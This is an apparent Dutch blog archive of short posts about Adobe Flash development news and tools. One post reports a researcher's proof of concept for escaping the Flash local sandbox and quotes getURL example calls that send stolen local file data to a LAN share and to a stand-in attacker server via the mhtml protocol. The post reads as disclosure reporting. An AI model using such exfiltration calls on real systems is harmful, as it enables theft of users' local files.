Archief voor de 'Flash' Categorie

Bevrijd je muis!

In de Adobe Flash player is het niet mogelijk om je muis vast te zetten. Hierdoor zul je je muis bij het bereiken van de schermranden opnieuw naar beneden moeten brengen om weer te kunnen bewegen. In een sneak peak video is te zien dat in een vroege development build van de Flash player het mogelijk is om je muis te ‘locken’. Deze feature is een veel gevraagde toevoeging, vooral van game ontwikkelaars.

lees meer op de weblog van Lee Brimelow.

Adobe MAX 2011 Sneak peaks

Adobe heeft van 20 t/m 24 oktober de jaarlijkse MAX conferentie gehouden. Tijdens dit evenement worden de nieuwste technieken een tools van Adobe gepresenteerd.
Met de sneak peaks worden tools en technieken getoond die mogelijk in toekomstige producten van Adobe gebruikt zullen worden.
Er zitten een aantal zeer interessante bij. O.a. Image deblurring, Monocle en Reverse debugging in Flash Builder.

Lees verder »

AMFPHP v2 Reloaded is een feit

Het is lang geleden dat er een nieuwe versie van AMFPHP is uitgekomen. De laatste 1.9 is al een paar jaar niet meer ge-update. Silexlabs kondigde in augustus 2010 aan dat ze de ontwikkeling van een 2.0 versie op zich gingen nemen. Deze 2.0 zal opnieuw ontwikkeld worden met een sterk object georiënteerde architectuur. De eerste release candidate werd vrijgegeven in juni 2011. Vanaf nu is daar de final van uitgebracht.

Download hier AMFPHP 2.0

Unity3D exporteerd naar Flash

Unity3D

Unity3D is een game ontwikkel tool. Hiermee kun je 3D games maken waarbij je gebruik kan maken van een krachtige engine. Deze game kunnen gepubliseerd worden voor het web (met gebruik van de Unity web player), iOS (iPhone, iPad), Android en pc of macs. Sinds kort is Flash player daar bij gekomen. Dus kunnen de games die in Unity3D zijn ontwikkeld ook gepubliceerd worden naar Flash. (.swf) Dit is mogelijk doordat flash ook via de GPU berekeningen kan uitvoeren.

Molehill

Met de komst van Molehill in de Flash player zijn zware grafische berekeningen mogelijk. Dit komt doordat deze Stage3D api’s gebruik kunnen maken van de GPU hardware (grafische kaart van je computer).

BabelFX localisatie framework

Zo nu en dan verzoeken om projecten meertalig te maken. Dit is altijd mogelijk maar kost ook meer werk aangezien je alle elementen in je project dynamisch moet maken en bij een switch van taal moet kunnen updaten met de nieuwe vertaling.

BabelFx is een framework dat deze ‘hazzle’ op zich neemt en je het meeste werk uit handen neemt. Je kan er de volgende elementen mee vertalen.

  • Tekst
  • Afbeeldingen, CSS, url’s
  • Skins
  • Stylesheets
  • Layout veranderingen
  • Branding

Het kan gebruikt worden met Swiz, Mate, Cairngorm, Parsley, RobotLegs & PureMVC of gewoon zonder een framework. BabelFx draait onafhankelijk en transparant achter de schermen. Je schermen hoeven niet meer zelf gelokaliseerde content op te halen.
BabelFx gebruikt het Inversion-of-Control (IoC) patroon om gelokaliseerde content te injecteren in je schermen. Omdat BabelFx content ‘pushed’ hoeven je UI controls, componenten en views niet meer zelf de content op halen.
Je kan vertalingen op de volgende manieren gebruiken:

  • Embedden in je project
  • Laden uit gecompileerde, externe bundels
  • Laden vanuit een remote web service
  • Laden vanuit remote xml bestanden
  • Laden vanuit je remote cms

Flex only?
Ja op dit moment alleen nog voor Flex. Wil je het framework gebruiken in ActionScript projecten dan zul je een eigen LocatizationMap moeten schrijven. BabelFX is namelijk bedoeld om gebruikt te worden via een LocatizationMap mxml class en mxml kun je niet compileren in Actionscript projecten. Er word dan ook aanbevolen om een Flex project te gebruiken. (zie forum)

Wat is FTE & TLF?


FTE staat voor Flash Text Engine en is de low-level API van Flash om teksten te verwerken. Dit is pas beschikbaar vanaf Flash Player 10 en hoger. TLF, Text Layout Framework, is een higher-level API die verder borduurt op FTE classes en een set aan extra functionaliteiten biedt op het gebied van tekst afhandeling. Denk hierbij aan multicolommen, stylesheets, inline afbeeldingen, HTML, etc.

Doel
Adobe wilt met de introductie van FTE en TLF de bestandsgrootte van de Flash Player verkleinen door een low-level player API aan te bieden en een ‘standaard’ higher-level actionscript 3 API daar bovenop te bouwen. Hierdoor kunnen er uitbreidingen gebouwd worden zonder dat de Player ge-update moet worden.

Text Layout Framework
TLF is een zeer uitgebreid framewerk van 160 KB. De bestandsgrootte is een nadeel als je bijvoorbeeld een simpele tekst wilt tonen, denk bijvoorbeeld aan banners. Deze hebben vaak een restrictie van een x aantal kb. Dan is het onacceptabel om 160 KB extra mee te compileren terwijl je dat beter kunt gebruiken voor andere dingen.
Je wilt dus eigenlijk iets dat tussen de low-level FTE en de high-level TLF zit. Voorheen had je alleen de keuze uit TextField. Maar dat is de ‘oude’ manier en de ‘nieuwe’ manier zou FTE/TLF gaan worden.

TinyTLF
TinyTLF springt naar eigen zeggen in dat gat. Tinytlf heeft als doel een kleine, uitbreidbare bibliotheek voor ontwikkelaars te bieden om geavanceerde tekst controllers te schrijven. Doel is om uiteindelijk een TextField te krijgen die echte HTML en CSS styleheets kan parsen en dezelfde interactieve eigenschappen heeft als een native OS tekstveld.

Conslusie
Kijk goed naar de noodzaak van de verschillende API’s. Heeft jou project een geavanceerde tekst oplossing nodig dan is TLF de mooiste oplossing. Voor simpele teksten zoals invoervelden, labels, etc. is TLF te geavanceerd. TinyTLF zou daarvoor beter geschikt zijn. Helaas heb ik tinytlf niet werkend gekregen en kan ik niet oordelen op de bruikbaarheid ervan. Het oude vertrouwde TextField wordt nog steeds veel gebruikt, ook in grote producties, en is nog niet dood. Voor de simpele teksten zou ik dan ook niet schromen om deze te gebruiken. Mooi project zou een mid-level API zijn voor de simpele teksten. Dit is in mijn ogen een perfecte oplossing voor simpele en semi-simpele tekst velden.

Adobe toont “Wallaby”

Adobe staat niet stil en ziet ook de opkomst van HTML5. Als antwoord daarop hebben ze de experimentele tool “Wallaby” ontwikkeld. Met deze tool is het mogelijk om Flash content te exporteren naar HTML5 code. Hierdoor zijn animaties ook te zien op non-flash apparaten zoals de iPad/iPhone/iPod.

Voorlopig is de tool gericht op Webkit gebaseerde browser zoals Safari & Chrome.

“De focus van de eerste versie van Wallaby is om de best mogelijke conversie te doen voor typische banner ads naar HTML5. Wallay kan dan ook goed grafische elementen converteren samen met complexe, tijdslijn gebaseerde animaties naar HTML5 die bekeken kunnen worden met browser die gebruik maken van de Webkit render engine. Ondersteunde Webkit browser zijn Chrome en Safari op OSX, Windows, en iOS (iPad, iPhone, iPod).”

Na een test kwam ik tot de conclusie dat vooralsnog alleen CS5 Fla bestanden geconverteerd kunnen worden.

Sandbox van Flash is te omzeilen.

Een beveiligingsonderzoeker Billy Rios heeft een prove-of-concept gepresenteerd die laat zien dat het mogelijk is om via Flash toegang te krijgen tot lokale bestanden.

Sandbox
Een sandbox in Flash zou moeten voorkomen dat een bestand van een lokaal systeem doorgestuurd kan worden naar een ander systeem. De documentatie van de sandbox is misschien net iets te duidelijk hierin. Hierin staat dat swf’s geladen van het lokale systeem een aantal beperkingen heeft. De meest relevante beperkingen zijn volgens Billy:

  1. De SWF kan geen aanroep doen naar Javascript (of vbscript), ook niet door een URL of ExternalInterface.
  2. De SWF kan geen HTTP of HTTPS verzoek uitvoeren
  3. Querystring parameters (bijv. Blag.php?querystring=qa-value) worden verwijderd en ook niet doorgestuurd (ook niet bij verzoeken naar lokale bestanden)

Helaas zijn deze restricties niet hetzelfde als “kan niet communiceren met het netwerk in welke vorm dan ook”. Wat wel wordt gesuggereerd in de documentatie. De simpelste manier om de local-with-filesystem sandbox te omzeilen is om een file:// verzoek naar een externe server te doen. Bijvoorbeeld: Na het inladen van een bestand van het lokale systeem kan de aanvaller deze simpel doorsturen door getURL() te gebruiken en een url zoals bijvoorbeeld file://\\192.168.1.1\stolen-data-here\.
Echter geldt dit alleen voor het doorsturen van data binnen een eigen netwerk (lokaal). Als een aanvaller de data wilt versturen via het internet zijn er nog een aantal trucjes nodig.

protocollen blacklist
In het geval van de local-with-filesystem sandbox, heeft Adobe gekozen om toegang to een netwerk door het gebruik van een protocol handler te voorkomen. Dit doen ze door middel van een blacklist. Vinden we een protocol dat niet geblokkeerd is door Adobe dan hebben we een doorgang en kunnen we met bijvoorbeeld getURL(‘mhtml:http://attacker-server.com/stolen-data-here‘, ”); data versturen via het internet.

Adobe converteerd flash naar html5

Adobe werkt aan een programma waarmee je flash-animatie naar html5 kunt converteren.

Rick Cabanier, ontwikkelaar bij Adobe, demonstreerd dat het mogelijk is om flash elementen om te zetten naar html5.

Apple staat alternatieve ontwikkel tools (Flash) weer toe.

4 en een halve maand nadat Apple hun voorwaarden aanpaste zijn ze terug gekomen op het toestaan van niet native code op hun platform (sectie 3.3.1). Hiermee is het weer mogelijk om iPhone, iPad, iPod applicaties te gaan ontwikkelen in bijvoorbeeld ActionScript en deze de compileren voor het iOS van Apple. Zie (Developer aggreement)

Apple besloot in april om geen apps meer toe te staan die niet direct in Objective-C, C, C++, of JavaScript geschreven waren. Hierop besloot Adobe om hun plannen om Flash applicaties voor de iPhone te bouwen, te staken.

Volgende pagina »



search this place